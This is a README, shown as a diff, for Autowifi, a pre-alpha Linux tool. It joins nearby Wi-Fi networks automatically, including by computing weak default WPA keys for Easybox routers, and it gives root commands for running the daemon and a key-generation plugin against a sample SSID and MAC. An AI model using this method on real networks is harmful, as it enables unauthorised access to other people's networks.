+# Autowifi
+Author: makefu,lassulus
+
+Status: Pre-Alpha - it will most likely break if you try to use it
+
+# Contact
+
+twitter: @krebsbob ,@makefoo 
+
+IRC: freenode #krebs
+
+# Goals
+Goal of autowifi is to provide a tool which automatically can connect to
+networks in an unknown environment.
+
+This can either be done by connecting to open networks, known networks
+(whitelist) or by calculating weak default wpa keys (for example easybox
+default passwords).
+
+# Audience
+Due to the current status of the project the target audience are 
+linux users with technical background .
+
+# Usage
+    
+    # all as root
+    # try to find networks to connect to around you
+    usr/bin/autowifi_dryrun quiet
+
+    # start the autowifi daemon which tries to stay in networks all the time
+    usr/bin/autowifi
+
+# Plugins
+All tests to open up networks are implemented in plugins in
+    usr/lib/autowifi/plugins
+
+## Run a single Plugin
+This can be used for testing purposes, e.g. test a single plugin against given networks directly
+    
+    # try out the easybox keygen
+    usr/lib/autowifi/plugins/02easybox SSID MAC CHANNEL ENCRYPTION(wpa_cli style)
+
+    #e.g.
+    usr/lib/autowifi/plugins/02easybox Easybox-123456 00:11:22:33:44:55 7 "[wpa]"
+
+# Disclaimer
+- use at own risk
+- only run in lab environment
+- you break it, you buy it
